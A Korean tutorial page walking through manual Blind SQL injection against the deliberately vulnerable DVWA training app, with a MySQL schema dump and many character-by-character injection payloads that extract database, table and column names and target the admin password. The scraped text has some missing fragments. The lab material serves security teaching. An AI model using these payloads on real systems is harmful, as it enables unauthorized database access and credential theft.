홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 DVWA: Blind SQL Injection 이해를 위한 수동점검 실습 설명서DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
SQL 구문삽입 진단DVWA: SQL Injection (Blind) 실습문제는 ID를 입력했을 때 유효한 ID인 지를 판별해주는 웹 애플리케이션이다. 다양한 입력을 통해 다음과 같은 결과를 얻었다.
유효한 ID=1을 이용한 SQL주입과 유효하지 않은 ID=6에서 Blind SQLi 공략의 시작: 참/거짓 반응 관찰
DVWA: SQL Injection (Blind) 실습문제는 ID를 입력했을 때
스무고개는 놀이의 하나이다. 한 사람이 어떤 물건을 마음 속으로 생각하면, 다른 사람이 스무 번까지 질문을 해서 그것을 알아 맞히는 것이다.
공격자는 DVWA: SQL Injection (Blind) 실습문제에서
"
(참 AND 참 = 참) 질문의 예:
입력이
(참 AND 거짓 = 거짓) 질문의 예:
입력이
위의 그림에서는 입력이
위의 그림에서는 입력이
이제 공격자는 DVWA: SQL Injection (Blind) 문제를 통해서 DBMS에 질문을 던질 수 있는 준비가 되었다.
맞는 질문을 던지면 서버는 "
공격자가 질문을 던지는 방식은 MySQL의 정보스키마와 Blind SQLi
웹 애플리케이션의 기반 DBMS를 탐지하는 방법은 DBMS Fingerprinting 방법을 참조하자.
DVWA: SQL Injection (Blind)의 데이터베이스 관리시스템은 MySQL이다.
MySQL에서는 데이터베이스 구조(메타데이타 또는 스키마)를 정보스키마( Database: information_schema Table: tables [53 entries] +--------------------+--------------------------------------+-------------+--------+----------+ | table_schema | table_name | table_type | engine |table_rows| +--------------------+--------------------------------------+-------------+--------+----------+ | mysql | slow_log | BASE TABLE | CSV | 2 | | mysql | general_log | BASE TABLE | CSV | 2 | | information_schema | KEY_COLUMN_USAGE | SYSTEM VIEW | MEMORY | NULL | | information_schema | SCHEMATA | SYSTEM VIEW | MEMORY | NULL | | information_schema | TABLE_PRIVILEGES | SYSTEM VIEW | MEMORY | NULL | | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY| SYSTEM VIEW | MEMORY | NULL | | information_schema | GLOBAL_VARIABLES | SYSTEM VIEW | MEMORY | NULL | | information_schema | TABLE_CONSTRAINTS | SYSTEM VIEW | MEMORY | NULL | | information_schema | COLLATIONS | SYSTEM VIEW | MEMORY | NULL | | information_schema | GLOBAL_STATUS | SYSTEM VIEW | MEMORY | NULL | | information_schema | REFERENTIAL_CONSTRAINTS | SYSTEM VIEW | MEMORY | NULL | | information_schema | TABLES | SYSTEM VIEW | MEMORY | NULL | | information_schema | CHARACTER_SETS | SYSTEM VIEW | MEMORY | NULL | | information_schema | FILES | SYSTEM VIEW | MEMORY | NULL | | information_schema | PROFILING | SYSTEM VIEW | MEMORY | NULL | | information_schema | STATISTICS | SYSTEM VIEW | MEMORY | NULL | | information_schema | SESSION_VARIABLES | SYSTEM VIEW | MEMORY | NULL | | information_schema | ENGINES | SYSTEM VIEW | MEMORY | NULL | | information_schema | SESSION_STATUS | SYSTEM VIEW | MEMORY | NULL | | information_schema | USER_PRIVILEGES | SYSTEM VIEW | MEMORY | NULL | | information_schema | COLUMN_PRIVILEGES | SYSTEM VIEW | MEMORY | NULL | | information_schema | SCHEMA_PRIVILEGES | SYSTEM VIEW | MEMORY | NULL | | information_schema | COLUMNS | SYSTEM VIEW | MyISAM | NULL | | mysql | db | BASE TABLE | MyISAM | 2 | | mysql | help_topic | BASE TABLE | MyISAM | 508 | | mysql | user | BASE TABLE | MyISAM | 5 | | information_schema | ROUTINES | SYSTEM VIEW | MyISAM | NULL | | mysql | columns_priv | BASE TABLE | MyISAM | 0 | | mysql | help_relation | BASE TABLE | MyISAM | 993 | | mysql | servers | BASE TABLE | MyISAM | 0 | | mysql | time_zone_transition_type | BASE TABLE | MyISAM | 0 | | dvwa | users | BASE TABLE | MyISAM | 5 | | mysql | help_keyword | BASE TABLE | MyISAM | 452 | | mysql | procs_priv | BASE TABLE | MyISAM | 0 | | mysql | time_zone_transition | BASE TABLE | MyISAM | 0 | | dvwa | guestbook | BASE TABLE | MyISAM | 1 | | mysql | help_category | BASE TABLE | MyISAM | 38 | | mysql | proc | BASE TABLE | MyISAM | 0 | | mysql | time_zone_name | BASE TABLE | MyISAM | 0 | | information_schema | EVENTS | SYSTEM VIEW | MyISAM | NULL | | information_schema | PROCESSLIST | SYSTEM VIEW | MyISAM | NULL | | information_schema | VIEWS | SYSTEM VIEW | MyISAM | NULL | | mysql | plugin | BASE TABLE | MyISAM | 0 | | mysql | time_zone_leap_second | BASE TABLE | MyISAM | 0 | | information_schema | PLUGINS | SYSTEM VIEW | MyISAM | NULL | | mysql | func | BASE TABLE | MyISAM | 0 | | mysql | ndb_binlog_index | BASE TABLE | MyISAM | 0 | | mysql | time_zone | BASE TABLE | MyISAM | 0 | | information_schema | PARTITIONS | SYSTEM VIEW | MyISAM | NULL | | information_schema | TRIGGERS | SYSTEM VIEW | MyISAM | NULL | | mysql | event | BASE TABLE | MyISAM | 0 | | mysql | host | BASE TABLE | MyISAM | 0 | | mysql | tables_priv | BASE TABLE | MyISAM | 0 | +--------------------+--------------------------------------+-------------+--------+----------+
MySQL의 데이터베이스 구조는
정보스키마의 SELECT table_schema FROM information_schema.columns;
그런데 같은 DB 이름이 중복되어 조회될 수 있으므로 SELECT DISTINCT table_schema FROM information_schema.columns;
DBMS의 정보스키마 이름이 SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema';
"눈먼" SQL 구문삽입에서는 낱낱의 문자를 비교해야 하는 데 이를 위해서는 SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1;
MySQL에서 substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a';
위의 SQL문은 첫번째
지금까지의 관찰을 바탕으로 " 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = '문자'#
위의 문자를 바꿔가면서
MySQL에서 접근 가능한 데이터베이스의 갯수는
데이터베이스 목록 확인
첫번째 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'b'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'c'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'd'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) is null# (결과: 거짓)
첫번째 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'a'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'b'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'c'# (결과: 거짓) [ ... 생략 ... ] 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'u'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'v'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) is null# (결과: 거짓)
첫번째 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'a'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'b'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'c'# (결과: 거짓) [ ... 생략 ... ] 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'v'# (결과: 거짓) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'w'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),4,1) is null# (결과: 거짓)
첫번째 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),4,1) = 'a'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),5,1) is null# (결과: 참)
첫번째
두번째 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),1,1) = 'm'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),2,1) = 'y'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),3,1) = 's'# (결과: 참) 1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),4,1) = 'q'# (결과: 참)
두번째 데이터베이스 이름은 " dvwa DB의 테이블 목록 확인
테이블 목록은 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = '문자'# 질문의 기본적인 틀은 위와 같다. 첫번째 테이블 이름을 유출할 때 참인 반응을 보인 입력값들이다. 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = 'g'# 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),2,1) = 'u'# 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),3,1) = 'e'# 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),4,1) = 's'# 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),5,1) = 't'# 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),6,1) = 'b'# 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),7,1) = 'o'#
이러한 방식으로 dvwa.users 테이블의 컬럼 목록 확인1' AND substr( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1) = '문자'#
dvwa.users 테이블의 password 컬럼 조회
1' AND substr( (SELECT password FROM users WHERE user='admin' LIMIT 0,1),1,1) = '문자'#
동일한 방식으로 진행하면 마무리Blind SQL Injection은 수작업으로 진행하기에는 너무 많은 계산이 필요하다. 때문에 대부분의 경우에는 프로그램을 작성하여 기계적으로 유출하는 것이 일반적이다.
범용 SQL 공격도구인 [처음 작성한 날: 2016.12.27] [마지막으로 고친 날: 2016.12.27] < 이전 글 : DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (2016.12.22) > 다음 글 : DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (2016.12.26) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |